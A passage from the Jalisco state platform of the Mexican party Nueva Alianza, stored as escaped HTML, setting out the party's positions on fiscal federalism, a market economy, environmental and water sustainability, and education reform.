usuarios de los servicios.<\/p>\n<p>Reconocemos que el reto es grande porque requiere de recursos para crear la infraestructura necesaria en todas las regiones el pa\u00eds, y cambiar la cultura de la administraci\u00f3n p\u00fablica y de la sociedad. Sin embargo, es indispensable para garantizar el crecimiento y desarrollo de todas las regiones del pa\u00eds y para contrarrestar el surgimiento de\u00a0 cinturones de miseria y regiones olvidadas.<\/p>\n<p>En este sentido, y en concordancia con el apartado anterior, propugnamos por un Gobierno activo que obtenga y sensibilice al Gobierno Federal sobre la aplicaci\u00f3n de recursos para la infraestructura necesaria que requiere Jalisco. Es fundamental contar con un Gobierno capaz de atraer inversi\u00f3n y que concientice de las ventajas comparativas del Estado, a fin de obtener las mejores condiciones para nuestro Estado.<\/p>\n<p>Nos pronunciamos a favor de un federalismo hacendario que promueva que los impuestos recolectados en el nivel local sean reinvertidos en la misma regi\u00f3n, para que el esfuerzo individual se traduzca en m\u00e1s y mejores servicios para los habitantes, as\u00ed como en Fortalecer las atribuciones de los municipios en materia fiscal y de gasto e incrementar los mecanismos de transparencia y rendici\u00f3n de cuentas.<\/p>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tVI.\tPROMOCI\u00d3N EXTERIOR DEL ESTADO Y SUS MUNICIPIOS\t\t\t\t\t<\/p>\n<p><strong>J<\/strong>alisco\u00a0 es un Estado que tiene importantes ventajas comparativas respecto a otros de la Rep\u00fablica. Somos privilegiados por su ubicaci\u00f3n geogr\u00e1fica y por su nivel educativo, principalmente. Estas cuestiones deben promocionarse para fortalecer la industria tur\u00edstica, agropecuaria y tecnol\u00f3gica.<\/p>\n<p>Frente a esta situaci\u00f3n requerimos un Gobierno que est\u00e9 a la altura de convertir a\u00a0 Jalisco en un Estado donde prive el crecimiento econ\u00f3mico y el desarrollo social.<\/p>\n<p>\u00a0Es fundamental contar con un gobierno que gestione mejoras de infraestructura aprovechando nuestras ventajas comparativas, que promueva los bienes que se generan en el Estado en el exterior, abriendo m\u00e1s y mejores mercados para los productos locales, as\u00ed como un gobierno conciliador que sepa canalizar los intereses en pro del desarrollo de\u00a0 la entidad.<\/p>\n<p>Esta es la concepci\u00f3n que <strong>Nueva Alianza<\/strong> tiene de un gobierno promotor de su comunidad. Un gobierno con visi\u00f3n y con un compromiso social renovador, que vea por el desarrollo a partir de su inserci\u00f3n en la econom\u00eda global, dentro de los m\u00e1rgenes legales que permite la Constituci\u00f3n, llevando los beneficios de este fen\u00f3meno a todos los<\/p>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tVII.\tUNA NUEVA ECONOM\u00cdA\t\t\t\t\t<\/p>\n<ul>\n<li><strong>Econom\u00eda de Mercado <\/strong><\/li>\n<\/ul>\n<p><strong><em>N<\/em><\/strong><strong><em>ueva Alianza <\/em><\/strong>reconoce en el libre mercado el proceso m\u00e1s eficiente para organizar las relaciones econ\u00f3micas entre los miembros de la sociedad, cuando se cumplen los presupuestos estructurales que permiten la operaci\u00f3n del sistema. Las transacciones en el mercado son una forma de arreglo que permite a los individuos tomar sus decisiones libremente y de acuerdo con sus necesidades e intereses. Sin embargo, somos conscientes que el mercado no es perfecto y las fallas en su funcionamiento deben ser corregidas por el Estado. No somos indiferentes a las inequidades que se producen cuando el individuo es excluido por el mercado, m\u00e1s en un Estado como Jalisco, donde existen municipios enteros que han sido apartados del desarrollo econ\u00f3mico.<\/p>\n<p>Nuestro compromiso es con los individuos que pueden competir en condiciones de igualdad dentro del libre mercado para que generen entornos de crecimiento individual y social; a su vez, nuestro reto y nuestro esfuerzo se enfocar\u00e1n a aquellas personas que no est\u00e1n en condiciones equitativas de participaci\u00f3n dentro del mercado.<\/p>\n<p>\u00a0Son estas personas a las que el gobierno debe enfocar su acci\u00f3n, a fin de solventar sus condiciones de pobreza y participen de los beneficios del mercado.<\/p>\n<p><strong><em>Nueva Alianza<\/em><\/strong> trabajar\u00e1 para que \u00a0los ciudadanos puedan acceder a \u00e9ste, en condiciones de igualdad. Para ello, es importante mencionar la necesidad de un sistema\u00a0 legal que defina claramente los derechos de propiedad, sin intervenci\u00f3n de terceros, para que los agentes econ\u00f3micos tengan certeza de que las transacciones son llevadas a cabo de manera clara y transparente.<\/p>\n<p><strong><em>Nueva Alianza <\/em><\/strong>entiende las condiciones que se dan en un mercado competitivo donde pueden generarse oportunidades de empleo y fomento a la creaci\u00f3n de nuevas empresas con capacidad para competir en el mercado nacional e internacional. <strong><em>Nueva Alianza <\/em><\/strong>promueve la puesta en pr\u00e1ctica de pol\u00edticas p\u00fablicas que fomenten la participaci\u00f3n, en igualdad de circunstancias, de los agentes econ\u00f3micos capacitados para participar en los diferentes mercados de la econom\u00eda, y exige del Estado que cumpla su papel de regulador en la correcci\u00f3n de distorsiones que se presentan en el mercado, asumiendo las facultades que la Constituci\u00f3n otorga al gobierno estatal en la materia.<\/p>\n<ul>\n<li><strong>Econom\u00eda Din\u00e1mica e Incluyente <\/strong><\/li>\n<\/ul>\n<p><strong>L<\/strong>a inversi\u00f3n nacional e internacional es uno de los factores m\u00e1s importantes para el desarrollo econ\u00f3mico del Estado, sobretodo porque la inversi\u00f3n genera fuentes de empleo y esto, a su vez, genera crecimiento econ\u00f3mico. Al mismo tiempo, el ordenamiento jur\u00eddico es fundamental, pues se requiere un esquema flexible para la creaci\u00f3n de empresas y mantener en constante dinamismo a la econom\u00eda, siendo ello, condici\u00f3n indispensable del correcto funcionamiento del mercado.<\/p>\n<p><strong><em>Nueva Alianza <\/em><\/strong>observa con preocupaci\u00f3n que Jalisco es un Estado donde, si bien se han dado las condiciones de crecimiento econ\u00f3mico propicias, en los \u00faltimos a\u00f1os se ha visto desalentado por un ambiente poco propicio para el desarrollo comercial y la falta de incentivos a la inversi\u00f3n en la micro, peque\u00f1a y mediana empresas, reflejado en la enorme cantidad de negocios que aparecen y desaparecen mes con mes.<\/p>\n<p>Esta situaci\u00f3n es producto del enorme clima de incredulidad y desconfianza de la gente, la ausencia de planeaci\u00f3n de un modelo de Estado, as\u00ed como la carencia de infraestructura y al ambiente de inseguridad p\u00fablica que priva actualmente. Como pol\u00edtica p\u00fablica inmediata:<\/p>\n<ul>\n<li>Proponemos establecer mecanismos e instrumentos de pol\u00edtica econ\u00f3mica y comercial que permitan desarrollar una planeaci\u00f3n de crecimiento, a fin de fijar las bases del modelo de Estado que queremos, y las actividades productivas donde aplicaremos nuestra pol\u00edtica p\u00fablica.<\/li>\n<li>Proponemos dotar a nuestra Entidad de infraestructura, a fin de aprovechar las ventajas comparativas de nuestra ubicaci\u00f3n geogr\u00e1fica.<\/li>\n<li>Proponemos una pol\u00edtica municipal que cubra los atrasos en servicios p\u00fablicos de la ciudadan\u00eda. Somos conscientes que de no generarse este esfuerzo, todas aquellas comunidades que buscamos se inserten a la din\u00e1mica del mercado, seguir\u00e1n siendo excluidas por el retraso en los aspectos indispensables para el desarrollo econ\u00f3mico. Nueva Alianza afirma rotundamente que debe dotarse a todo el Estado de los servicios b\u00e1sicos indispensables, mediante una pol\u00edtica municipal activa y de b\u00fasqueda de programas gubernamentales para el desarrollo.<\/li>\n<\/ul>\n<p>Por su parte, el Gobierno debe profundizar en sus acciones de simplificaci\u00f3n administrativa, para evitar convertirse en obst\u00e1culo del desarrollo. Asimismo, debe constituirse en un promotor de las ventajas de invertir en el Estado y debe buscar acuerdos con los Estados vecinos para desarrollar planes metropolitanos de crecimiento.<\/p>\n<p>En <strong><em>Nueva Alianza <\/em><\/strong>estamos conscientes de que es necesario liberar la inversi\u00f3n productiva nacional de la capacidad de inversi\u00f3n del Gobierno, con el objeto de que el desarrollo del pa\u00eds no est\u00e9 limitado a la capacidad financiera del gobierno y as\u00ed crecer con empleo mejor remunerado, vinculado a la productividad y a la educaci\u00f3n; en ese sentido combatir de fondo los rezagos. Para esto es necesario cambiar el marco legal para poder sumar el ahorro privado y el social a la capacidad de las finanzas p\u00fablicas. Proponemos fortalecer el ahorro interno y el sistema financiero.<\/p>\n<p>Asimismo, creemos que es necesario modernizar la producci\u00f3n rural favoreciendo las inversiones, la capacitaci\u00f3n, el uso de tecnolog\u00edas adecuadas y generar mejores alternativas al empleo rural.<\/p>\n<p>Para <strong><em>Nueva Alianza, <\/em><\/strong>las soluciones que se legislen para la problem\u00e1tica del campo son instrumentos imprescindibles en la consolidaci\u00f3n democr\u00e1tica y el desarrollo econ\u00f3mico, ya que la elevaci\u00f3n del nivel de participaci\u00f3n en el mercado, mediante mayor productividad de esa fuerza social, ser\u00e1n indicadores del verdadero rostro de la transformaci\u00f3n del pa\u00eds. Los programas de gobierno deber\u00e1n garantizar una verdadera incorporaci\u00f3n y mejores niveles de educaci\u00f3n y de vida en el campo.<\/p>\n<p>Por otro lado, resulta indispensable crear un clima favorable a la inversi\u00f3n privada y social, que aliente el desarrollo empresarial, especialmente de las micro, peque\u00f1as y medianas empresas en las que se genera m\u00e1s empleo por inversi\u00f3n y autoempleo, situaci\u00f3n \u00e9sta que permita modificar el impacto de la cada vez m\u00e1s amplia econom\u00eda informal.<\/p>\n<p>Es necesario eliminar tr\u00e1mites y regulaciones excesivas para la creaci\u00f3n o expansi\u00f3n de empresas. Impulsaremos la desregulaci\u00f3n y otras reformas que induzcan las actividades econ\u00f3micas hacia la formalidad, y reducir el cierre de las empresas legalmente establecidas.<\/p>\n<p>En un contexto de crecimiento productivo y desarrollo econ\u00f3mico resultan inexplicables las cifras de pobreza que identifican a un sector poblacional que se encuentran fuera de las estructuras de mercado. El Gobierno debe combatir la pobreza por elemental sentido de justicia social y por la necesidad imperiosa de incorporar al mercado a la poblaci\u00f3n hoy marginada.<\/p>\n<p><strong><em>Nueva Alianza <\/em><\/strong>estima que, junto con la incorporaci\u00f3n productiva, la reducci\u00f3n de la pobreza podr\u00e1 contar con programas sociales enfocados y dirigidos a la poblaci\u00f3n de escasos recursos que m\u00e1s lo necesite transitando de una cultura asistencial a un modelo de cambios estructurales en las comunidades. El objetivo de estos programas debe centrarse en cuatro puntos fundamentales: Educaci\u00f3n, Salud, Nutrici\u00f3n y Proyectos Productivos.<\/p>\n<ul>\n<li><strong>Econom\u00eda Socialmente Desarrollada<\/strong><\/li>\n<\/ul>\n<p><strong><em>N<\/em><\/strong><strong><em>ueva Alianza <\/em><\/strong>propone alentar el ahorro y la inversi\u00f3n productiva, p\u00fablica y privada, como motor del crecimiento de nuestra econom\u00eda. Estimular el ahorro de hoy implica mayores inversiones y fuentes de empleo en el futuro.<\/p>\n<p>Es indispensable fortalecer la infraestructura de nuestro Estado, ya que \u00e9sta es una alternativa para vincular a las zonas marginadas del pa\u00eds con las regiones de m\u00e1s prosperidad econ\u00f3mica.<\/p>\n<p>Es importante acelerar el desarrollo de las comunicaciones terrestres y a\u00e9reas. Continuar con el desarrollo de las telecomunicaciones, usando las mejores tecnolog\u00edas para garantizar su competitividad, cobertura y servicios avanzados.<\/p>\n<p>Proponemos continuar con el apoyo a la inversi\u00f3n en vivienda y el mejoramiento urbano, as\u00ed como fomentar el desarrollo del mercado secundario y la subrogaci\u00f3n del cr\u00e9dito hipotecario.<\/p>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tVIII.\tFOMENTAR LA CULTURA DE SUSTENTABILIDAD Y CUIDADO \t              \t\t                           DEL MEDIO AMBIENTE\t\t\t\t\t<\/p>\n<p><strong>C<\/strong>uando hablamos de sustentabilidad, hablamos de una administraci\u00f3n eficiente y racional de los recursos, de manera que\u00a0 sea posible mejorar el bienestar de la poblaci\u00f3n actual sin comprometer la calidad de vida de las generaciones futuras.\u00a0<\/p>\n<p>En la actualidad, uno de los principales retos que enfrenta nuestro Estado en materia de desarrollo sustentable es incluir al medio ambiente como uno de los elementos de la competitividad y el desarrollo econ\u00f3mico y social. En este sentido, debemos gestionar\u00a0 una\u00a0 Pol\u00edtica Ambiental\u00a0 que procure el derecho a vivir en un medio ambiente libre de\u00a0 contaminaci\u00f3n, la protecci\u00f3n del medio ambiente, la preservaci\u00f3n de la naturaleza y la\u00a0 conservaci\u00f3n del patrimonio ambiental. Nuestras l\u00edneas de acci\u00f3n se centran en:<\/p>\n<ul>\n<li>Impulsar la Iniciativa de Ley en el \u00e1mbito local sobre la Responsabilidad por da\u00f1os ambientales.<\/li>\n<li>Asignar presupuestos direccionados al dise\u00f1o de pol\u00edticas p\u00fablicas en materia de ambiente y urbanismo.<\/li>\n<li>Crear pol\u00edticas p\u00fablicas en materia de construcci\u00f3n sustentable como promoci\u00f3n del uso de energ\u00eda solar, captaci\u00f3n de agua pluvial, concretos reciclados, concretos permeables, hortalizas urbanas y azoteas verdes.<\/li>\n<li>Gestionar la disminuci\u00f3n en el costo de tr\u00e1mites por la administraci\u00f3n p\u00fablica en relaci\u00f3n a las construcciones sustentables.<\/li>\n<li>Impulsar la construcci\u00f3n de plantas de tratamiento de aguas residuales, separaci\u00f3n eficaz de residuos, entre otros, por parte de la administraci\u00f3n p\u00fablica.<\/li>\n<\/ul>\n<p><strong>8.1 \u00a0\u00a0\u00a0\u00a0\u00a0Protecci\u00f3n al Medio Ambiente.\u00a0 <\/strong><\/p>\n<p><strong><em>N<\/em><\/strong><strong><em>ueva Alianza <\/em><\/strong>promover\u00e1 una cultura ciudadana de protecci\u00f3n del medio ambiente, como un derecho fundamental de las actuales y futuras generaciones. El cuidado del medio ambiente y los recursos naturales de nuestro pa\u00eds son una obligaci\u00f3n de todas las instituciones del Estado. La situaci\u00f3n econ\u00f3mica actual, plantea que las nuevas generaciones deber\u00e1n afrontar con responsabilidad la tarea de administrar de manera eficiente los recursos naturales no renovables. En la protecci\u00f3n del ambiente el Gobierno debe asumir decisivamente su funci\u00f3n de control, como instrumento al servicio de los ciudadanos comprometi\u00e9ndose con:<\/p>\n<ul>\n<li>La Educaci\u00f3n Ambiental<\/li>\n<li>El respeto por el ambiente, la defensa de la legalidad y el Estado de Derecho.<\/li>\n<li>La transparencia y rendici\u00f3n de cuentas en la gesti\u00f3n p\u00fablica ambiental.<\/li>\n<\/ul>\n<p><strong>8.2 \u00a0\u00a0\u00a0Sustentabilidad del agua<\/strong><\/p>\n<p>Es necesario generar una pol\u00edtica que soporte a la sustentabilidad como la condici\u00f3n primordial del bienestar transgeneracional, y que tenga como uno de sus ejes primordiales el tema del agua, por ello en Nueva Alianza creemos que el Estado debe darle la atenci\u00f3n y la importancia que requiere, y tratarlo como un asunto de seguridad nacional, d\u00e1ndole\u00a0 la protecci\u00f3n legal, regulatoria, social y cultural que amerita.<\/p>\n<p>El estado tiene la obligaci\u00f3n de garantizar el acceso, la disposici\u00f3n y el saneamiento del agua en condiciones de calidad y costo que no afecte a la econom\u00eda de los jaliscienses, as\u00ed como fomentar la utilizaci\u00f3n racional de los recursos y asegurar el acceso equitativo para todos los sectores sociales.<\/p>\n<p><strong>Nueva Alianza<\/strong> propone:<\/p>\n<p>1.- Contemplar sanciones m\u00e1s severas para quienes usen de manera inapropiada el agua y causen da\u00f1o a la sociedad y a los recursos h\u00eddricos de nuestro Estado.<\/p>\n<p>2.-Intensificar y actualizar los procedimientos tecnol\u00f3gicos en el tratamiento de aguas residuales, la reconversi\u00f3n de cultivos y los procesos que permitan optimizar el uso del\u00a0 agua en las actividades productivas.<\/p>\n<p>3.-Incorporar procesos y controles eficientes para la administraci\u00f3n sustentable de los recursos h\u00eddricos del estado.<\/p>\n<p>4.-Integrar un sistema permanente de informaci\u00f3n dirigido a la poblaci\u00f3n jalisciense para que tomen conciencia de la necesidad de cuidar el l\u00edquido.<\/p>\n<p>5.- Propiciar la participaci\u00f3n ciudadana y su incidencia en pol\u00edticas p\u00fablicas relativas al agua.<\/p>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tIX.\tUNA NUEVA SOCIEDAD \t\t\t\t\t<\/p>\n<ul>\n<li><strong>Igualdad de Oportunidades Educativas<\/strong><\/li>\n<\/ul>\n<p><strong>E<\/strong>n una sociedad libre y plural, la organizaci\u00f3n social y su forma de gobierno se construyen y sustentan en el principio de reconocimiento de los derechos inalienables del ser humano a la libertad y la obtenci\u00f3n de mayor calidad de vida.<\/p>\n<p>En una sociedad, la libertad se propugna con el reconocimiento constitucional y con la protecci\u00f3n de los derechos individuales por conducto de los Poderes P\u00fablicos, que son los que comprenden espec\u00edficamente las expresiones y actividades humanas m\u00e1s reconocidas de la libertad: de expresi\u00f3n, creencia, asociaci\u00f3n, tr\u00e1nsito, trabajo o de profesi\u00f3n, comercio e industria, educaci\u00f3n, \u00a0derecho a la propiedad, as\u00ed como la llamada garant\u00eda de legalidad y gen\u00e9ricamente, todas aquellas actividades no expresamente prohibidas por las leyes.<\/p>\n<p>En <strong><em>Nueva Alianza <\/em><\/strong>creemos que los principales problemas de la sociedad se relacionan directamente con el proceso educativo. Es por ello que desarrollamos nuestra propuesta entorno a un mejor sistema educativo que brinde igualdad de oportunidades para todos los mexicanos. Afirmamos que la educaci\u00f3n es el pilar de la sociedad desarrollada en tanto revalore el aspecto humano de sus contenidos y pr\u00e1cticas, y aporte herramientas de desarrollo individual y social.<\/p>\n<ul>\n<li><strong>Transformaci\u00f3n Educativa<\/strong><\/li>\n<\/ul>\n<p><strong>N<\/strong>uestra <em>Declaraci\u00f3n de Principios <\/em>reitera el papel fundamental de la educaci\u00f3n para alcanzar la libertad, la justicia y la igualdad dentro de\u00a0 una sociedad que ubique el conocimiento y la tecnolog\u00eda en un espacio estrat\u00e9gico para el desarrollo econ\u00f3mico y social de M\u00e9xico, toda vez que nuestro pa\u00eds cuenta con una legislaci\u00f3n que asegura la modernizaci\u00f3n y el financiamiento del sistema educativo, sobre la base de los principios consagrados en el Art\u00edculo 3\u00ba Constitucional.<\/p>\n<p>Trabajaremos para consolidar la Transformaci\u00f3n Educativa, con las siguientes propuestas que garanticen el proceso educativo permanente como garant\u00eda de un nivel cultural superior que refuerce la identidad nacional tales como:<\/p>\n<p>Proponer, impulsar, reforzar y actualizar los siguientes programas participativos:<\/p>\n<ul>\n<li>Escuela segura<\/li>\n<li>Escuelas de tiempo completo<\/li>\n<li>Escuelas en horario discontinuo<\/li>\n<li>Escuelas fuera del horario de clase y en fines de semana<\/li>\n<li>Escuelas de bajo rendimiento<\/li>\n<li>Centros de educaci\u00f3n especial<\/li>\n<li>El Sistema Nacional de Informaci\u00f3n de las Escuelas<\/li>\n<li>El Sistema Nacional de Formaci\u00f3n Continua y Superaci\u00f3n Profesional de Maestros en Servicio:<\/li>\n<li>Cursos Nacionales y Estatales de matem\u00e1ticas, ciencias, espa\u00f1ol, historia, \u00a0formaci\u00f3n c\u00edvica y \u00e9tica.<\/li>\n<li>Capacitar a comunidades educativas para desarrollar una cultura de la salud y educaci\u00f3n f\u00edsica que propicie comportamientos y entornos saludables.<\/li>\n<li>Desayunos y meriendas escolares con men\u00fas equilibrados que influyan en la formaci\u00f3n de h\u00e1bitos alimentarios adecuados y que contribuyan a la prevenci\u00f3n del sobrepeso y la obesidad<\/li>\n<li>Ense\u00f1anza T\u00e9cnica<\/li>\n<\/ul>\n<p>Trabajaremos en lo relativo a educaci\u00f3n b\u00e1sica, para que las cifras de cobertura y eficiencia terminal contin\u00faen en aumento y mejoren los \u00edndices de retenci\u00f3n escolar.<\/p>\n<p>Trabajaremos por nuevos avances en la reforma curricular con una reorganizaci\u00f3n de los contenidos pedag\u00f3gicos y la renovaci\u00f3n de los libros de texto gratuitos, mejorando su calidad y publicando libros para personas con capacidades diferentes. As\u00ed como los relativos a las\u00a0 etnias del Estado de Jalisco.<\/p>\n<p>Trabajaremos por proyectos innovadores para mejorar cualitativamente la educaci\u00f3n en \u00e1mbitos como la ense\u00f1anza de la lecto-escritura, las matem\u00e1ticas, las ciencias y la gesti\u00f3n escolar con la incorporaci\u00f3n de sistemas computarizados y tecnolog\u00edas educativas, teniendo en cuenta los est\u00e1ndares nacionales e internacionales de evaluaci\u00f3n.<\/p>\n<p>Trabajaremos por impulsar el crecimiento del presupuesto educativo para que alcance en la entidad el 8% del Producto Interno Bruto (PIB) tanto con recursos federales como la concurrencia de la propia entidad.<\/p>\n<p><strong>Educaci\u00f3n con Calidad y Excelencia<\/strong><\/p>\n<p><strong>A<\/strong> la educaci\u00f3n debe conced\u00e9rsele el papel rector en el desarrollo de M\u00e9xico. Sin educaci\u00f3n no hay desarrollo y sin \u00e9ste no puede haber educaci\u00f3n de calidad que posibilite la generaci\u00f3n de conocimientos. Esto obliga una nueva visi\u00f3n y misi\u00f3n de la educaci\u00f3n como el espacio estrat\u00e9gico y clave del futuro para las generaciones venideras y que permita encarar demandas y resolver problemas de la sociedad mexicana.<\/p>\n<p>El modelo de calidad y excelencia educativa parte del enfoque del desarrollo integral y dimensional del educando. Es a partir del alumno que la educaci\u00f3n con calidad formar\u00e1 a\u00a0 hombres y mujeres integrados socialmente y responsables de su propio desempe\u00f1o. Por ello es necesario replantear el modelo educativo nacional.<\/p>\n<p><strong>Nueva Alianza<\/strong> refrenda el compromiso con la educaci\u00f3n de calidad y excelencia demandando la revisi\u00f3n \u00a0y evaluaci\u00f3n de la\u00a0 estructura administrativa y operacional\u00a0 del Sistema Educativo Nacional.<\/p>\n<p><strong>b)\u00a0 \u00a0\u00a0\u00a0\u00a0Educaci\u00f3n P\u00fablica<\/strong><\/p>\n<p><strong>L<\/strong>a educaci\u00f3n p\u00fablica debe ser libre, democr\u00e1tica, laica, obligatoria, cient\u00edfica, gratuita y de calidad, \u00a0de conformidad con el contenido del Art\u00edculo 3\u00ba Constitucional.<\/p>\n<p>La educaci\u00f3n es esencial para fortalecer la \u00a0identidad nacional. Se propone la formaci\u00f3n en valores\u00a0 que ayuden a que el educando logre formarse como persona y que se comprometa con las demandas y necesidades de M\u00e9xico. Es necesario lograr incorporar en los programas de los diferentes niveles educativos contenidos que refuercen los valores antes mencionados.<\/p>\n<p><strong>c) Educaci\u00f3n Incluyente y Equitativa<\/strong><\/p>\n<p><strong><em>L<\/em><\/strong>a educaci\u00f3n debe ser incluyente y equitativa para que nadie se quede fuera de las oportunidades educativas por razones econ\u00f3micas, sociales, pol\u00edticas o religiosas. Por ello es necesario mejorar la eficiencia del sistema educativo para lograr entre otros objetivos, la permanencia en la escuela al alumno al menos por 15 a\u00f1os y con ello asegurar la terminaci\u00f3n de la educaci\u00f3n b\u00e1sica.<\/p>\n<p><strong>d)<\/strong> <strong>Actualizaci\u00f3n Pedag\u00f3gica y Did\u00e1ctica<\/strong><\/p>\n<p><strong><em>A<\/em><\/strong>bordar el tema de la educaci\u00f3n exige retomar la realidad educativa y las actividades m\u00e1s relevantes que tienen que desarrollar los docentes en su contexto profesional y con sus alumnos. Interesa vincular a profesionistas y expertos en educaci\u00f3n para transformar el proceso\u00a0 ense\u00f1anza-aprendizaje.<\/p>\n<p>El educando y el maestro son los actores principales de la tarea educativa, apoyados y respaldados por los padres de familia.<\/p>\n<p>La aportaci\u00f3n que se ofrece quiere ayudar a ese ejercicio que se denomina toma de conciencia, a trav\u00e9s de una serie de propuestas que tocan por un lado el quehacer educativo y por\u00a0 otro \u00a0el desarrollo pr\u00e1ctico de la ense\u00f1anza.<\/p>\n<p>La Transformaci\u00f3n Educativa debe abarcar todos los niveles de educaci\u00f3n. Aplicar la reforma debe ser prioridad en la agenda educativa mexicana, en el redise\u00f1o de la formaci\u00f3n docente, articularla con opciones terminales de redes de escolaridad corta e intermedia como son las carreras t\u00e9cnicas e incluir en esta reforma a la educaci\u00f3n superior para que proporcione igualdad de oportunidades, que refuercen el nivel acad\u00e9mico y logre avances tecnol\u00f3gicos.<\/p>\n<p>Respecto a la educaci\u00f3n no escolarizada es indispensable establecer programas integrales de formaci\u00f3n en centros de educaci\u00f3n continua para adultos, escuela para padres y para las personas marginadas.<\/p>\n<p><strong>e) Revalorar el Papel y Funciones del Maestro<\/strong><\/p>\n<p><strong>S<\/strong>e propone un programa para profesionalizar, capacitar, actualizar y evaluar de forma permanente al Magisterio con el nuevo dise\u00f1o de\u00a0 programas de est\u00edmulos econ\u00f3micos para llevar a cabo su superaci\u00f3n personal.<\/p>\n<p>Para tal prop\u00f3sito proponemos clarificar criterios de ingreso y promoci\u00f3n del magisterio. Garantizar al maestro que los ascensos y est\u00edmulos estar\u00e1n directamente vinculados al desempe\u00f1o y desarrollo profesional y con ello asegurar un salario adecuado.<\/p>\n<p>Hacer el esfuerzo por mejorar la calidad de vida y condiciones de trabajo con la retribuci\u00f3n de un salario digno y adecuado. Esta es una forma de retribuir y revalorar al maestro en su labor educativa, y su compromiso cotidiano con M\u00e9xico y su desarrollo.<\/p>\n<p>Un aspecto central ser\u00e1 la mejora de las condiciones de vida del Magisterio por lo que es necesario el hacer accesible al Magisterio a modernos programas de vivienda. Dise\u00f1ar y ofrecerles nuevos esquemas de seguridad social.<\/p>\n<p>Fortalecer el sistema y fondos de pensiones para los trabajadores de la educaci\u00f3n jubilados que cuentan con bajo salario despu\u00e9s de toda una vida de entrega a la labor docente. Para ello, nos mantendremos como un promotor de la mejora de las condiciones de vida de los maestros jubilados y nos erigiremos como un protagonista de la defensa de sus derechos en la escena pol\u00edtica.<\/p>\n<p><strong>f) Revalorar el Papel de la Escuela<\/strong><\/p>\n<p><strong>L<\/strong>a escuela es el espacio en donde la sociedad se refleja, es el lugar donde d\u00eda con d\u00eda, los padres y madres de familia, los alumnos, y el resto de la comunidad,\u00a0 expresan los cambios que est\u00e1n viviendo y las carencias resultantes de un desigual acceso a la educaci\u00f3n por condici\u00f3n social, econ\u00f3mica, cultural y familiar. Es en la escuela en donde se construyen sus expectativas, demandas y deseos, como entes activos de la sociedad. Es fundamentalmente en donde se desarrollan las facultades del ser humano, sus capacidades, aptitudes, habilidades, h\u00e1bitos, intereses, principios y valores, para ser un ente positivo de la sociedad.<\/p>\n<p>Vivimos un proceso mundial en lo econ\u00f3mico, social y cultural, en donde los adelantos tecnol\u00f3gicos y cient\u00edficos est\u00e1n a la orden del d\u00eda, lo que hace necesario adecuar la educaci\u00f3n en algunos aspectos para que el perfil de los egresados responda a los retos y desaf\u00edos que lo anterior significa, con el objeto de que los estudiantes salgan mejor preparados y encuentren un sentido pr\u00e1ctico a lo que aprenden en los centros educativos. Debido a ello, promoveremos la adecuaci\u00f3n\u00a0 de los planes y programas de estudio con el objeto de adaptarlos a las necesidades propias de cada lugar.<\/p>\n<p><strong>g) Equipamiento e Infraestructura Escolar<\/strong><\/p>\n<p><strong>A<\/strong>plicar un programa permanente de dotaci\u00f3n de recursos que aseguren la infraestructura en las escuelas urbanas y rurales, destinando partidas presupuestales suficientes para contar con escuelas equipadas con talleres, mobiliario, canchas deportivas, laboratorios y lograr que las escuelas est\u00e9n totalmente construidas.\u00a0 \u00a0Adem\u00e1s de asegurar el mantenimiento del mobiliario y del inmueble a trav\u00e9s del trabajo conjunto de Gobierno, directivos, maestros, alumnos y padres de familia.<\/p>\n<p>Asimismo, es fundamental iniciar un programa de descentralizaci\u00f3n de la infraestructura educativa donde se contemple la creaci\u00f3n de nuevos centros de estudio en diferentes municipios, con el objeto de que la educaci\u00f3n se adapte a las necesidades propias de cada lugar, y contribuya al desarrollo regional.<\/p>\n<p><strong>h) Inversi\u00f3n Educativa<\/strong><\/p>\n<p><strong>L<\/strong>a mejor inversi\u00f3n es la educaci\u00f3n. Es sumamente dif\u00edcil lograr que la educaci\u00f3n \u00a0en todos sus niveles \u00a0avance si no hay una fuerte inversi\u00f3n, una aplicaci\u00f3n correcta y\u00a0 eficiente de esos recursos, y \u00a0la rendici\u00f3n de cuentas.<\/p>\n<p>Esta inversi\u00f3n debe garantizar el personal docente, directivo y de apoyo de acuerdo a la estructura m\u00ednima establecida y\u00a0 el equipamiento b\u00e1sico en cada una de las escuelas.<\/p>\n<p>La ciencia y la tecnolog\u00eda reciben un gasto insuficiente para poder atender satisfactoriamente las necesidades de una educaci\u00f3n que repercuta en el desarrollo econ\u00f3mico. Es indispensable que los alumnos puedan acceder a las tecnolog\u00edas educativas necesarias y adecuadas \u00a0que les aseguren una educaci\u00f3n de calidad.<\/p>\n<p>Impulsaremos el\u00a0 fortalecimiento y crecimiento de los diferentes programas de becas\u00a0 que otorgan el gobierno federal, estatal y municipal.<\/p>\n<p><strong>i) Promoci\u00f3n y Atracci\u00f3n de Centros de Investigaci\u00f3n al Estado<\/strong><\/p>\n<p><strong>D<\/strong>ada la situaci\u00f3n a la baja por la que atraviesa la investigaci\u00f3n en el Pa\u00eds y \u00a0en \u00a0nuestro Estado, alentaremos a \u00e9sta, promoviendo la inversi\u00f3n p\u00fablica y privada para convertirla en un factor fundamental en el desarrollo del Pa\u00eds y de Jalisco.<\/p>\n<ul>\n<li><strong>Sociedad Competitiva<\/strong><strong><em>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/em><\/strong><\/li>\n<\/ul>\n<p><strong><em>N<\/em><\/strong><strong><em>ueva Alianza <\/em><\/strong>est\u00e1 consciente de que los vertiginosos avances de la ciencia y la tecnolog\u00eda en el Siglo XXI nos obliga a evolucionar, como pa\u00eds, hacia una <em>sociedad del conocimiento<\/em>, entendiendo por \u00e9sta, una sociedad en la que se invierta, prioritariamente en capital humano, destinando una gran cantidad de recursos econ\u00f3micos a la investigaci\u00f3n y desarrollo del conocimiento (teor\u00edas, modelos, innovaciones cient\u00edficas y tecnol\u00f3gicas) que promuevan mejoras al nivel de vida de la comunidad en general.<\/p>\n<p>Durante la \u00faltima d\u00e9cada, m\u00faltiples 